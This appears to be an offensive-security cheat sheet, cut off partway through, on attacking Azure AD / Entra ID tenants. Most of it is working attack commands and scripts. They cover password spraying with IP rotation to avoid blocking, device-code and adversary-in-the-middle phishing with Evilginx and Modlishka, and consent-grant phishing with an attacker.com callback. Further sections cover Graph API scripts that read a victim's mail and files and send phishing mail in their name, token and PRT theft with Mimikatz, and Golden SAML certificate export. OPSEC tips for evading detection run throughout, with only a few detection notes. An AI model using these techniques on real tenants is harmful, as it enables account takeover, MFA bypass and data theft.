ᛉ Yggdrasil

Active Directory

Azure AD / Entra ID Attacks

15 Oct 2026 · 8,430 words · 38 min

Contents

Legend: [RECON] = Enumeration / Reconnaissance | [INIT] = Initial Access | [PRIVESC] = Privilege Escalation | [PERSIST] = Persistence | [LATERAL] = Lateral Movement | [OPSEC] = Operational Security | [DETECT] = Detection vector | [TOOL] = Tool reference | [MITRE] = MITRE ATT&CK mapping | [HYBRID] = Hybrid/On-prem pivot technique


1. Azure AD / Entra ID Architecture Overview

What it means: Azure AD (now rebranded as Microsoft Entra ID) is Microsoft's cloud-based identity and access management platform. It is the new perimeter — controlling access to M365, Azure resources, and thousands of SaaS apps. Understanding its architecture is mandatory before any attack.

1.1 Key Identity Objects

Entra ID Tenant
├─ Users
│   ├─ Cloud-only users      → live only in Entra ID
│   └─ Synced users          → synced from on-prem AD via Azure AD Connect
│
├─ Groups
│   ├─ Security groups        → RBAC role assignment targets
│   ├─ M365 groups            → Teams, SharePoint
│   └─ Dynamic groups         → membership auto-assigned via rules (abusable!)
│
├─ Applications / App Registrations
│   ├─ Service Principals     → identity of an app inside a tenant
│   └─ Managed Identities     → auto-managed SP for Azure resources (VMs, Functions)
│
├─ Roles
│   ├─ Entra ID (Directory) Roles  → Global Admin, Privileged Role Admin, etc.
│   └─ Azure RBAC Roles            → Owner, Contributor, Reader (subscription-level)
│
├─ Devices
│   ├─ Azure AD Joined        → stores PRT on device
│   ├─ Hybrid AD Joined       → joined to both on-prem AD + Entra ID
│   └─ Registered             → BYOD (partial join)
│
└─ Federation / Hybrid
    ├─ Azure AD Connect       → syncs on-prem AD objects to Entra ID
    ├─ ADFS                   → on-prem federation service (SAML tokens)
    └─ Password Hash Sync     → PHS: syncs NTLM hash (SHA256 wrapped) to cloud

1.2 Token Types (Critical to Understand)

Token Type          Lifetime        Used For                        Stealability
──────────────────────────────────────────────────────────────────────────────────
Access Token        1 hour          API calls (Graph, ARM, etc.)    HIGH — cached in memory
Refresh Token       90 days         Renewing access tokens          HIGH — stored in MSAL cache
Primary Refresh     Device-bound    SSO across all Azure services   HIGH — in Windows CloudAP
Token (PRT)         (cryptographic  (very powerful)
                    session key)

SAML Token          1 hour default  Federated auth (ADFS → Azure)   CRITICAL — forgeable with cert
ID Token            1 hour          OpenID Connect identity proof   Low (not for resource access)

[OPSEC] Refresh tokens and PRTs are the crown jewels. A stolen refresh token works for 90 days — even after a password reset. PRTs are cryptographically bound to a device's session key, but can be extracted and replayed.


2. Recon & Enumeration — Unauthenticated

What it means: Before you have any credentials, you can gather significant intelligence about a target Entra ID tenant using public APIs and open-source tools. This is your first phase.

[MITRE] T1590 — Gather Victim Network Information | T1589 — Gather Victim Identity Information

2.1 Tenant Discovery with AADInternals

# Install AADInternals
Install-Module AADInternals -Scope CurrentUser
Import-Module AADInternals

# Get tenant info from a domain — no credentials needed
Invoke-AADIntReconAsOutsider -DomainName "targetcorp.com"

# Output includes:
# - Tenant ID
# - Tenant Name
# - Auth endpoints
# - Number of domains
# - Federation type (Managed / Federated / ADFS)
# - If ADFS is present → GOLDEN SAML attack surface!

# Get login info / check if domain is federated
Get-AADIntLoginInformation -UserName "admin@targetcorp.com"

# Get Tenant ID from domain
Get-AADIntTenantID -Domain "targetcorp.com"

2.2 User Enumeration — Validate Email Addresses

# o365creeper — validate which emails are valid O365/Entra accounts (no lockout)
python3 o365creeper.py -f emails.txt -o valid_emails.txt

# AADInternals — enumerate users from outside
Invoke-AADIntUserEnumerationAsOutsider -UserName "user@targetcorp.com"
# Returns: User exists / Does not exist

# MicroBurst — enumerate Azure subdomains and services
Import-Module MicroBurst.psm1
Invoke-EnumerateAzureSubDomains -Base "targetcorp"
# Finds: targetcorp.blob.core.windows.net, targetcorp.vault.azure.net, etc.

# Check if guest access is enabled (invite external users)
# Any user can be invited to a tenant → lateral movement path!

2.3 Public Metadata Endpoints

# Azure OpenID Connect metadata — reveals tenant info (no auth needed)
curl "https://login.microsoftonline.com/targetcorp.com/.well-known/openid-configuration"

# Get all tenant domains
curl "https://login.microsoftonline.com/targetcorp.com/v2.0/.well-known/openid-configuration" | jq '.issuer'

# Check federation configuration
curl "https://login.microsoftonline.com/getuserrealm.srf?login=admin@targetcorp.com&json=1"
# Key fields: NameSpaceType (Managed / Federated), FederationGlobalVersion

# Check if Seamless SSO is enabled (important for Silver Ticket attacks)
# If NameSpaceType = "Federated" → ADFS in play
# If AuthURL contains autologon.microsoftazuread-sso.com → Seamless SSO enabled

[OPSEC] These are ZERO authentication calls. Completely passive from attacker's perspective. No logs in Entra ID.


3. Recon & Enumeration — Authenticated

What it means: Once you have any valid credentials or token, you can map the entire tenant — users, groups, roles, apps, service principals, RBAC assignments — using Microsoft Graph API and specialized tools.

[MITRE] T1087.004 — Account Discovery: Cloud Account | T1069.003 — Permission Groups Discovery: Cloud Groups

3.1 ROADtools — Full Tenant Dump

# Install ROADtools
pip install roadtools

# Authenticate (password)
roadrecon auth -u user@targetcorp.com -p "Password123"

# Authenticate with device code flow (bypasses some CA policies)
roadrecon auth --device-code -t targetcorp.com

# Dump ALL Entra ID objects to SQLite database
roadrecon gather
# Collects: users, groups, apps, service principals, roles, devices, conditional access

# Launch GUI to browse collected data
roadrecon-gui
# → http://127.0.0.1:5000

# Parse Conditional Access Policies (requires plugin)
roadrecon plugin policies
# → Outputs policies.json with all CAP rules — identify gaps!

3.2 Azure AD PowerShell Enumeration

# Connect
Import-Module AzureAD
Connect-AzureAD -Credential $creds

# --- Users ---
Get-AzureADUser -All $true                          # All users
Get-AzureADUser -Filter "userType eq 'Guest'"       # Guest users (external access)
Get-AzureADUser -ObjectId "user@corp.com" | Select * # Full user object

# --- Groups ---
Get-AzureADGroup -All $true                         # All groups
Get-AzureADGroupMember -ObjectId <group-id>         # Members of a group

# --- Roles ---
Get-AzureADDirectoryRole                            # Active roles in tenant
Get-AzureADDirectoryRoleMember -ObjectId <role-id> # Members of a role

# CRITICAL: Who are the Global Admins?
$role = Get-AzureADDirectoryRole | Where-Object {$_.DisplayName -eq "Global Administrator"}
Get-AzureADDirectoryRoleMember -ObjectId $role.ObjectId

# --- Service Principals & App Registrations ---
Get-AzureADServicePrincipal -All $true             # All service principals
Get-AzureADApplication -All $true                  # All app registrations

# Find apps with high-privilege API permissions
Get-AzureADServicePrincipal -All $true | ForEach-Object {
    $sp = $_
    Get-AzureADServiceAppRoleAssignment -ObjectId $sp.ObjectId | Where-Object {
        $_.PrincipalType -eq "ServicePrincipal"
    }
}

# --- Devices ---
Get-AzureADDevice -All $true                       # All registered/joined devices

# --- Conditional Access Policies ---
# (requires AzureAD Preview module or MS Graph)
Get-AzureADMSConditionalAccessPolicy               # List all CA policies

3.3 Microsoft Graph API — Direct Enumeration

# Get access token first (with credentials)
curl -X POST "https://login.microsoftonline.com/<TENANT_ID>/oauth2/v2.0/token" \
  -d "client_id=<CLIENT_ID>&scope=https://graph.microsoft.com/.default&\
      grant_type=password&username=user@corp.com&password=Password123"

# Store token
TOKEN="eyJ0eXAiOiJKV1..."

# List all users
curl -H "Authorization: Bearer $TOKEN" \
     "https://graph.microsoft.com/v1.0/users"

# List all groups with roles
curl -H "Authorization: Bearer $TOKEN" \
     "https://graph.microsoft.com/v1.0/groups?$select=displayName,id,groupTypes"

# Enumerate app permissions (look for Directory.ReadWrite.All, RoleManagement.ReadWrite.Directory)
curl -H "Authorization: Bearer $TOKEN" \
     "https://graph.microsoft.com/v1.0/servicePrincipals/<SP_ID>/appRoleAssignments"

3.4 Azure CLI Enumeration

# Login
az login -u user@corp.com -p "Password123"

# Current identity info
az ad signed-in-user show

# List all users
az ad user list --output table

# List all groups
az ad group list --output table

# List all service principals
az ad sp list --all --output table

# Enumerate Azure subscriptions (important for RBAC mapping)
az account list --output table

# List role assignments in subscription
az role assignment list --all --output table

# List resources in subscription (look for VMs with managed identities!)
az resource list --output table

# List Key Vaults (check if accessible!)
az keyvault list --output table
az keyvault secret list --vault-name <VAULT_NAME>

[OPSEC] Graph API calls generate Entra ID audit log entries under AuditLogs > DirectoryAudits. Use sparse, specific queries rather than bulk $top=999 dumps.


4. Password Spray Attacks

What it means: Instead of brute-forcing one account (which triggers lockout), you spray a single common password across many accounts. Entra ID has a lockout threshold (default: 10 tries, 1 minute lockout) — spraying at 1 attempt/account/hour stays under this.

[MITRE] T1110.003 — Brute Force: Password Spraying

4.1 MSOLSpray (PowerShell)

# Clone and import
git clone https://github.com/dafthack/MSOLSpray
cd MSOLSpray
Import-Module .\MSOLSpray.ps1

# Basic spray — one password, many users
Invoke-MSOLSpray -UserList .\users.txt -Password "Winter2024!" -Verbose

# With output file
Invoke-MSOLSpray -UserList .\users.txt -Password "Password123" -OutFile results.txt

# Force continue even when lockouts detected
Invoke-MSOLSpray -UserList .\users.txt -Password "Summer2024" -Force

# Use FireProx to rotate IPs (avoid IP-based blocking)
Invoke-MSOLSpray -UserList .\users.txt -Password "Winter2024!" `
                 -URL "https://<api-gateway-id>.execute-api.us-east-1.amazonaws.com/fireprox"

4.2 MSOLSpray Python Version

# Install
git clone https://github.com/api0cradle/msolspray-py
cd msolspray-py

# Basic spray
python3 MSOLSpray.py --userlist users.txt --password "Winter2024!"

# With output file and force flag
python3 MSOLSpray.py --userlist users.txt --password "Password123" --out valid.txt --force

# With FireProx endpoint for IP rotation
python3 MSOLSpray.py --userlist users.txt --password "Summer2024" \
                     --url "https://<GATEWAY>.execute-api.us-east-1.amazonaws.com/fireprox"

4.3 TeamFiltration — Advanced Spray Tool

# TeamFiltration also supports user enumeration + spray
git clone https://github.com/Flangvik/TeamFiltration
cd TeamFiltration

# Enumerate users via Teams API (no lockout during enum!)
dotnet run -- --outpath ./output --enumerate --domain targetcorp.com

# Spray with delay
dotnet run -- --outpath ./output --spray --password "Winter2024!" --sleep 60

4.4 Understanding MSOLSpray Response Codes

Response Code   → Meaning / Attacker Value
──────────────────────────────────────────────────────────────────────
AADSTS50126     → Invalid credentials (wrong password — user exists!)
AADSTS50053     → Account locked (slow down!)
AADSTS50057     → Account disabled (user exists, but account off)
AADSTS50055     → Password expired (VALID CREDS — just expired!)
AADSTS50076     → MFA required (VALID CREDS — MFA block)
AADSTS50079     → MFA enrollment required (VALID CREDS — MFA not set up!)
AADSTS70011     → Invalid scope (app config issue)
AADSTS700016    → App not found in tenant
AADSTS50014     → Tenant not found (domain doesn't exist)

[OPSEC] Error codes 50055, 50076, 50079 = valid credentials found. 50076 means MFA is enforced — try device code phishing next. 50079 means MFA not set up — account may be directly usable with legacy protocols.

4.5 Legacy Protocol Spray (Bypass MFA)

# Legacy auth protocols (IMAP, SMTP, POP3, Basic Auth) often bypass MFA
# These are enabled by default in older tenants

# Check if legacy auth is available via o365spray
python3 o365spray.py --validate --domain targetcorp.com
python3 o365spray.py --spray -U users.txt -P passwords.txt --domain targetcorp.com \
                     --module msol

# Basic auth endpoint (if not blocked by CA policy)
curl -u "user@corp.com:Password123" \
     "https://outlook.office365.com/mapi/emsmdb/?MailboxId=user@corp.com"

5. Device Code Phishing

What it means: The OAuth Device Code flow is designed for input-constrained devices (TVs, IoT). An attacker abuses it to trick a victim into authenticating on the attacker's behalf. MFA is not a defense — the victim completes MFA, and the attacker gets the resulting token.

[MITRE] T1528 — Steal Application Access Token

5.1 How Device Code Flow Works (Abused)

LEGITIMATE FLOW:                        ABUSED FLOW:
──────────────                          ────────────────────────────────
1. Device requests code from Azure      1. Attacker generates device code
2. User visits devicelogin URL          2. Attacker sends URL to victim via phishing
3. User enters code                     3. Victim authenticates + completes MFA
4. Device gets token                    4. ATTACKER polls and receives the tokens!

Key: The victim authenticates on behalf of the attacker's session

5.2 TokenTactics — Device Code Attack

# Install TokenTactics
Import-Module .\TokenTactics.ps1

# Step 1: Generate device code (request for MS Graph token)
Get-AzureToken -Client Graph
# Output:
#   user_code:    ABCD12345
#   device_code:  <long code>
#   verification_url: https://microsoft.com/devicelogin
#   expires_in:   900 seconds

# Step 2: Send victim this message:
# "Please visit https://microsoft.com/devicelogin and enter code: ABCD12345
#  to authenticate your device."

# Step 3: Attacker polls for token (runs in background)
# TokenTactics does this automatically — polls every 5 seconds

# Once victim authenticates, you get:
#   access_token:  eyJ... (1 hour)
#   refresh_token: 0.A... (90 days!)

# Step 4: Use refresh token to get more tokens
Invoke-RefreshToMSGraphToken -refreshToken $response.refresh_token -tenantid <TENANT_ID>
Invoke-RefreshToAzureManagementToken -refreshToken $response.refresh_token -tenantid <TENANT_ID>
Invoke-RefreshToSharePointToken -refreshToken $response.refresh_token -tenantid <TENANT_ID>

# Step 5: Dump emails, files, Teams messages with the token
Dump-OWAMailboxViaMSGraphApi -AccessToken $MSGraphToken.access_token -mailFolder Inbox

5.3 AADInternals Device Code Attack

Import-Module AADInternals

# Generate device code targeting Microsoft Graph
$deviceCode = New-AADIntDeviceCode -ClientId "1950a258-227b-4e31-a9cf-717495945fc2"
Write-Host "Enter code: $($deviceCode.user_code) at $($deviceCode.verification_uri)"

# Poll for tokens — send user_code to victim via email/Teams
$tokens = Get-AADIntAccessTokenWithDeviceCode -DeviceCode $deviceCode

# Access token is now available for use
$accessToken = $tokens.access_token
$refreshToken = $tokens.refresh_token

5.4 Common Client IDs for Device Code (High Value)

Client ID                                   Application
───────────────────────────────────────────────────────────────────────────────
1950a258-227b-4e31-a9cf-717495945fc2        Azure PowerShell
04b07795-8ddb-461a-bbee-02f9e1bf7b46        Azure CLI
d3590ed6-52b3-4102-aeff-aad2292ab01c        Microsoft Office (Global)
00b41c95-dab0-4487-9791-b9d2c32c80f2        Office Mobile (Global)
872cd9fa-d31f-45e0-9eab-6e460a02d1f          Azure Active Directory PowerShell

[OPSEC] The device code link goes to Microsoft's own legitimate login.microsoftonline.com — this bypasses most email security scanners. Victim sees a real Microsoft page and is not suspicious.


6. AiTM Phishing — Evilginx / Modlishka

What it means: Adversary-in-the-Middle (AiTM) phishing proxies sit between the victim and Microsoft's real login servers. The victim authenticates for real (completing MFA), but the attacker intercepts and steals the session cookie after MFA, giving them access that bypasses MFA entirely.

[MITRE] T1557 — Adversary-in-the-Middle | T1539 — Steal Web Session Cookie

6.1 Evilginx2 — Setup and Configuration

# Clone and build Evilginx2
git clone https://github.com/kgretzky/evilginx2
cd evilginx2
go build -o evilginx main.go

# Or install via package
sudo apt install evilginx2

# Start Evilginx
sudo ./evilginx -p ./phishlets -developer

# Configure domain and external IP
config domain yourevildomain.com
config ipv4 <YOUR_VPS_IP>

# Load Office 365 phishlet
phishlets hostname o365 login.yourevildomain.com
phishlets enable o365

# Create a phishing lure (generates URL)
lures create o365
lures get-url 0
# → https://login.yourevildomain.com/XXXXXXXXXX (this is your phishing link)

6.2 Evilginx — Capturing Credentials & Cookies

# Live session — watch incoming logins
sessions

# View a captured session
sessions 1
# Output includes:
#   username:   victim@corp.com
#   password:   Password123
#   tokens:     {"estsauth": "...", "estsauthpersistent": "..."}

# Extract session cookies (post-MFA tokens)
# These are the gold: use them in browser to bypass MFA completely
# Using Playwright or Requests to replay stolen cookies
import requests

# Session cookie stolen from Evilginx
cookies = {
    "ESTSAUTH": "<stolen_cookie>",
    "ESTSAUTHPERSISTENT": "<stolen_persistent_cookie>"
}

# Access O365 with stolen cookies (no password, no MFA needed)
session = requests.Session()
session.cookies.update(cookies)
resp = session.get("https://outlook.office365.com/")
print(resp.status_code)  # 200 = access granted
// Using browser DevTools or cookie editor extension
// 1. Open browser → Developer Tools → Application → Cookies
// 2. Navigate to login.microsoftonline.com
// 3. Set stolen cookie values for ESTSAUTH and ESTSAUTHPERSISTENT
// 4. Navigate to office.com — you're logged in as the victim!

6.4 Modlishka — Alternative AiTM

# Modlishka is another AiTM proxy with credential harvesting
git clone https://github.com/drk1wi/Modlishka
cd Modlishka
go build -o modlishka

# Configuration file
cat > modlishka.json << EOF
{
  "proxyDomain":  "login.yourevildomain.com",
  "target":       "login.microsoftonline.com",
  "tls":          true,
  "cert":         "cert.pem",
  "certKey":      "key.pem",
  "listeningPort": "443"
}
EOF

./modlishka -config modlishka.json

[DETECT] Microsoft Entra ID Identity Protection generates a Token Issuer Anomaly alert when session cookies are replayed from a different IP. Defender for O365 detects Evilginx by domain reputation.


What it means: Any Entra ID user can (by default) grant third-party OAuth apps access to their account. An attacker registers a rogue app, tricks a user (or admin) into consenting to it, and receives persistent access tokens — even after a password reset. This was used in the Midnight Blizzard (Microsoft breach, Jan 2024).

[MITRE] T1528 — Steal Application Access Token | T1550.001 — Use Alternate Authentication Material

1. Attacker registers a multi-tenant app in their OWN Entra ID tenant
   └─ Requests permissions: Mail.Read, Files.Read, User.Read, offline_access (refresh token!)

2. Attacker crafts phishing URL:
   https://login.microsoftonline.com/common/oauth2/v2.0/authorize?
     client_id=<ATTACKER_APP_ID>
     &redirect_uri=https://attacker.com/callback
     &response_type=code
     &scope=Mail.Read+Files.Read+User.Read+offline_access
     &state=random

3. Victim clicks URL → Sees REAL Microsoft consent page (not suspicious!)
   "App 'DocViewer' wants to: Read your mail / Read your files"

4. Victim clicks "Accept"

5. Authorization code sent to attacker.com/callback

6. Attacker exchanges code for access_token + refresh_token

7. Refresh token valid for 90 days — survives password resets!

7.2 Setting Up a Rogue App (Azure Portal Steps)

1. Sign in to portal.azure.com with attacker-controlled Microsoft account
2. Go to: Azure Active Directory → App Registrations → New Registration
3. Configure:
   - Name: "DocViewer" (or something legitimate-looking)
   - Supported account types: "Accounts in any organizational directory" (multi-tenant!)
   - Redirect URI: https://attacker.com/callback

4. Add API Permissions:
   - Microsoft Graph → Delegated permissions:
     - User.Read
     - Mail.Read (or Mail.ReadWrite for sending!)
     - Files.Read
     - offline_access (THIS gives you the refresh token!)

5. Create a Client Secret (Certificates & Secrets → New client secret)
   → Save the secret value!

6. Build the phishing URL using your App ID and send to victim

7.3 Exchanging Code for Tokens

#!/usr/bin/env python3
# consent_token_exchange.py — Exchange authorization code for tokens

import requests

# Your registered app credentials
CLIENT_ID = "your-app-client-id"
CLIENT_SECRET = "your-client-secret"
REDIRECT_URI = "https://attacker.com/callback"
TENANT_ID = "common"  # Multi-tenant = common

# Authorization code received at your callback URL
AUTH_CODE = "0.AXxxx..."

# Exchange code for tokens
token_url = f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token"

data = {
    "client_id":     CLIENT_ID,
    "client_secret": CLIENT_SECRET,
    "redirect_uri":  REDIRECT_URI,
    "grant_type":    "authorization_code",
    "code":          AUTH_CODE,
    "scope":         "Mail.Read Files.Read User.Read offline_access"
}

response = requests.post(token_url, data=data)
tokens = response.json()

print(f"[+] Access Token:  {tokens.get('access_token', 'N/A')[:50]}...")
print(f"[+] Refresh Token: {tokens.get('refresh_token', 'N/A')[:50]}...")
print(f"[+] Expires in:    {tokens.get('expires_in')} seconds")

# Use refresh token to keep access alive (works for 90 days!)
def refresh_access_token(refresh_token):
    data = {
        "client_id":     CLIENT_ID,
        "client_secret": CLIENT_SECRET,
        "grant_type":    "refresh_token",
        "refresh_token": refresh_token,
        "scope":         "Mail.Read Files.Read User.Read offline_access"
    }
    resp = requests.post(token_url, data=data)
    return resp.json()

7.4 Post-Consent Data Exfiltration via Graph API

# After getting access token — read victim's email
import requests

ACCESS_TOKEN = "eyJ0eXAi..."
HEADERS = {"Authorization": f"Bearer {ACCESS_TOKEN}"}

# Read inbox
emails = requests.get("https://graph.microsoft.com/v1.0/me/messages", headers=HEADERS)
print(emails.json())

# Read OneDrive files
files = requests.get("https://graph.microsoft.com/v1.0/me/drive/root/children", headers=HEADERS)
print(files.json())

# Get user info
user = requests.get("https://graph.microsoft.com/v1.0/me", headers=HEADERS)
print(user.json())

# If app has Mail.Send — SEND EMAILS as victim (internal phishing!)
send_data = {
    "message": {
        "subject": "Important Update",
        "body": {"contentType": "Text", "content": "Phishing content here"},
        "toRecipients": [{"emailAddress": {"address": "ceo@corp.com"}}]
    }
}
requests.post("https://graph.microsoft.com/v1.0/me/sendMail",
              headers=HEADERS, json=send_data)
# 365-Stealer automates the consent grant attack
git clone https://github.com/AlteredSecurity/365-Stealer
cd 365-Stealer

# Configure your app credentials in config.py
# CLIENT_ID = "your-app-id"
# CLIENT_SECRET = "your-secret"
# REDIRECT_URL = "https://attacker.com/callback"

# Run the phishing server
python3 365-Stealer.py --run-app
# → Serves phishing page at http://localhost

# View captured tokens
python3 365-Stealer.py --refresh-all
python3 365-Stealer.py --read-emails all
python3 365-Stealer.py --read-files all

[OPSEC] Request only permissions that users can approve without admin consent (User.Read, Mail.Read, offline_access). Requesting admin-only permissions (e.g., Directory.Read.All) triggers an admin approval gate that users can't bypass.


8. Token Theft & Pass-the-Token

What it means: Azure AD access tokens and refresh tokens are stored in various locations on Windows. Stealing them from disk or memory allows you to authenticate as that user without knowing their password. This is the cloud equivalent of Pass-the-Hash.

[MITRE] T1528 — Steal Application Access Token | T1552.001 — Credentials from Files

8.1 Token Storage Locations on Windows

Application               Token Location
──────────────────────────────────────────────────────────────────────────────
Azure CLI (az)            ~/.azure/accessTokens.json (older)
                          ~/.azure/msal_token_cache.json (newer MSAL)
Azure PowerShell          C:\Users\<user>\.Azure\TokenCache.dat
                          HKCU:\Software\Microsoft\Azure\AzureRmContextSettings
VS Code / Azure tools     AppData\Roaming\Code\User\globalStorage\ (encrypted)
Teams desktop             AppData\Roaming\Microsoft\Teams\Cookies
                          AppData\Roaming\Microsoft\Teams\Local Storage\leveldb\
Office apps               Windows DPAPI protected locations
Chrome / Edge             AppData\Local\<Browser>\User Data\Default\Cookies (DPAPI)
MSAL cache (general)      AppData\Local\MicrosoftEdge\ (various)

8.2 Stealing Azure CLI Tokens

# Method 1: Direct file read (if running as same user)
cat "$env:USERPROFILE\.azure\msal_token_cache.json"

# Method 2: If az CLI is installed, tokens are already decrypted
az account get-access-token --resource https://management.azure.com/
az account get-access-token --resource https://graph.microsoft.com/

# Method 3: PowerShell Az module cached tokens
$ctx = Get-AzContext
$profile = [Microsoft.Azure.Commands.Common.Authentication.Abstractions.AzureRmProfileProvider]::Instance.Profile
$ctx.Account

8.3 Pass-the-Token — Using Stolen Tokens

# Use a stolen access token directly with Azure PowerShell
Connect-AzAccount -AccessToken $stolenAccessToken -AccountId user@corp.com

# Use a stolen token with Azure CLI
# Method: set the token in the access token cache file
az account get-access-token  # Verify active session

# Connect to Azure AD with token
Import-Module AzureAD
$tid = "<TENANT_ID>"
Connect-AzureAD -AadAccessToken $stolenGraphToken -AccountId user@corp.com -TenantId $tid
#!/usr/bin/env python3
# use_stolen_token.py — Use stolen refresh token to get new access tokens

import requests

TENANT_ID = "target-tenant-id"

# Stolen refresh token (e.g., from Azure CLI cache)
STOLEN_REFRESH_TOKEN = "0.AXxxxx..."

# Refresh to get Graph API token
resp = requests.post(
    f"https://login.microsoftonline.com/{TENANT_ID}/oauth2/v2.0/token",
    data={
        "client_id":     "04b07795-8ddb-461a-bbee-02f9e1bf7b46",  # Azure CLI Client ID
        "grant_type":    "refresh_token",
        "refresh_token": STOLEN_REFRESH_TOKEN,
        "scope":         "https://graph.microsoft.com/.default offline_access"
    }
)

tokens = resp.json()
NEW_ACCESS_TOKEN = tokens["access_token"]
print(f"[+] New Access Token: {NEW_ACCESS_TOKEN[:80]}...")

# Now use this token
headers = {"Authorization": f"Bearer {NEW_ACCESS_TOKEN}"}
me = requests.get("https://graph.microsoft.com/v1.0/me", headers=headers)
print(f"[+] Logged in as: {me.json()['userPrincipalName']}")

8.4 TokenTactics — Token Manipulation

Import-Module .\TokenTactics.ps1

# Refresh access token using stolen refresh token
$newToken = Invoke-RefreshToMSGraphToken -refreshToken $stolen -tenantid $tid

# Get token for different resources (lateral movement!)
$armToken    = Invoke-RefreshToAzureManagementToken  -refreshToken $rt -tenantid $tid
$o365Token   = Invoke-RefreshToO365Token             -refreshToken $rt -tenantid $tid
$spToken     = Invoke-RefreshToSharePointToken       -refreshToken $rt -tenantid $tid
$kvToken     = Invoke-RefreshToKeyVaultToken         -refreshToken $rt -tenantid $tid

# Dump Teams messages
Invoke-DumpTeamsMessages -accessToken $newToken.access_token

9. Pass-the-PRT (Primary Refresh Token)

What it means: The Primary Refresh Token (PRT) is a long-lived token stored on Azure AD Joined or Hybrid Joined Windows devices. It gives seamless SSO to all Azure services. If you can extract the PRT and its session key, you can impersonate the user to any Azure service without their password or MFA — the most powerful identity token in the ecosystem.

[MITRE] T1552.004 — Unsecured Credentials: Private Keys | T1606 — Forge Web Credentials

9.1 PRT Technical Background

PRT = Encrypted blob stored in Windows CloudAP (Cloud Authentication Provider)
   └─ Protected by Session Key (DPAPI / device TPM)
   └─ Used to get PRT Cookie (x-ms-RefreshTokenCredential header)
   └─ PRT Cookie → Access Token for any Azure service

Device must be:
  ✔ Azure AD Joined  (AADJoin)
  ✔ Hybrid AD Joined (HADJoin)

Attack flow:
1. Compromise device (local admin)
2. Extract PRT + Session Key from LSASS / CloudAP cache
3. Generate PRT Cookie
4. Use cookie to get access token to any Azure service

9.2 Extracting PRT with Mimikatz

# Requires local admin or SYSTEM on the target Windows device

# Method 1: Using Mimikatz (on the device)
.\mimikatz.exe
privilege::debug
sekurlsa::cloudap    # Dump CloudAP provider — extracts PRT + Context + SessionKey

# Output:
#   UserName:     victim@corp.com
#   PRT:          eyJ0eXAiOiJKV1QiLCJhbGci...
#   DerivedKey:   AABBCCDD...
#   Context:      XXYYZZ...

# Method 2: Using AADInternals to create PRT cookie from extracted PRT
$PRT = "eyJ0eXAiOiJKV1Qi..."
$ClearKey = "AABBCCDD..."    # DerivedKey from Mimikatz (hex)
$SKey = [convert]::ToBase64String([byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey -GetNonce
# → Outputs PRT Cookie (x-ms-RefreshTokenCredential value)

9.3 Pass-the-PRT via Browser

# After generating PRT Cookie, use it in browser for SSO

# Method 1: Using Edge / Chrome with DevTools
# 1. Open browser → DevTools (F12) → Network tab
# 2. Navigate to office.com or portal.azure.com
# 3. Intercept the first request to login.microsoftonline.com
# 4. Add custom header: x-ms-RefreshTokenCredential: <PRT_COOKIE_VALUE>
# 5. Submit request → you're authenticated as victim!

# Method 2: Using AADInternals
# Generate PRT Cookie and directly open Office portal
$PRTCookie = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey
Open-AADIntOffice365WithPRTToken -PRTToken $PRTCookie

9.4 Pass-the-Certificate (Kerberos Cloud Kerberos Trust)

# In Hybrid environments — extract device certificate and use it
# Tool: AADInternals

# Export device certificate from local certificate store
$cert = Get-Item Cert:\LocalMachine\My\<CERT_THUMBPRINT>
$pfx = Export-PfxCertificate -Cert $cert -FilePath device.pfx -Password $secpw

# Use device cert to get PRT via cloud Kerberos trust
$prt = Get-AADIntUserPRTToken -Certificate $cert -Domain targetcorp.com

[OPSEC] PRT extraction requires local admin or SYSTEM on the device. TPM-backed PRTs are much harder to extract — TPM holds the session key and won't release it without the device. Non-TPM devices are fully vulnerable.


10. Golden SAML — ADFS Token Forgery

What it means: In environments that use ADFS (Active Directory Federation Services) for authentication, the ADFS server holds a token-signing certificate that it uses to sign SAML assertions. If an attacker steals this certificate, they can forge SAML tokens for any user in the organization — including Global Admins — without knowing any passwords. This technique was used in the SolarWinds (NOBELIUM) breach.

[MITRE] T1606.002 — Forge Web Credentials: SAML Tokens

10.1 Prerequisites and Attack Surface

Requirements for Golden SAML:
  1. ADFS is deployed (environment uses ADFS federation)
  2. Attacker has local admin access to the ADFS server
  3. ADFS token-signing certificate is accessible

Attack Impact:
  - Impersonate ANY user, including Global Administrators
  - Bypass passwords entirely
  - Bypass MFA entirely
  - Token valid for the certificate's lifetime (years)
  - Even cloud-only admins (who have no on-prem representation) are vulnerable!

Key Difference from Golden Ticket:
  Golden Ticket → Kerberos → on-prem AD (requires krbtgt hash)
  Golden SAML   → SAML     → Azure AD / O365 (requires ADFS signing cert)

10.2 Step 1 — Enumerate and Dump ADFS Configuration

# Method 1: ADFSDump (requires local admin on ADFS server)
# Tool: https://github.com/fireeye/ADFSDump
.\ADFSDump.exe
# → Queries AD FS WID database
# → Extracts: EncryptedPFX blob of token signing certificate

# Method 2: Using PowerShell on ADFS server
# Export certificate directly (requires admin on ADFS server)
$cert = (Get-AdfsCertificate -CertificateType "Token-Signing").Certificate
$bytes = $cert.Export([System.Security.Cryptography.X509Certificates.X509ContentType]::Pfx, "password")
[System.IO.File]::WriteAllBytes("C:\adfs_signing.pfx", $bytes)

# Method 3: Via WMI if ADFS sync is available
Invoke-Command -ComputerName ADFSSERVER01 -ScriptBlock {
    Add-PSSnapin Microsoft.Adfs.PowerShell
    Get-AdfsCertificate
}

# Method 4: Access WID (Windows Internal Database) directly
# ADFS config stored in: \\.\pipe\Microsoft##WID\tsql\query
# Use ADFSDump to query it

10.3 Step 2 — Export Token Signing Certificate

# On the ADFS server, export the private key with Mimikatz if needed
.\mimikatz.exe
privilege::debug
crypto::capi        # Enable CNG key export
crypto::certificates /export /systemstore:LOCAL_MACHINE
# → Exports all machine certificates including ADFS token-signing cert

# Or via certutil
certutil -store -enterprise MY "ADFS Token Signing"
certutil -exportpfx -enterprise MY <CERT_SERIAL> adfs_signing.pfx password

10.4 Step 3 — Forge a SAML Token (Golden SAML)

Import-Module AADInternals

# Load the stolen signing certificate
$cert = Get-PfxCertificate -FilePath "adfs_signing.pfx" \
         -Password (ConvertTo-SecureString "password" -AsPlainText -Force)

# Get the ImmutableID of the target user (the base64-encoded objectGUID)
# ImmutableID links on-prem AD user to cloud Azure AD user
$targetUser = "globaladmin@targetcorp.com"

# Option A: Get ImmutableID if you have domain access
$user = Get-ADUser -Identity "globaladmin" -Properties ObjectGUID
$ImmutableID = [Convert]::ToBase64String($user.ObjectGUID.ToByteArray())

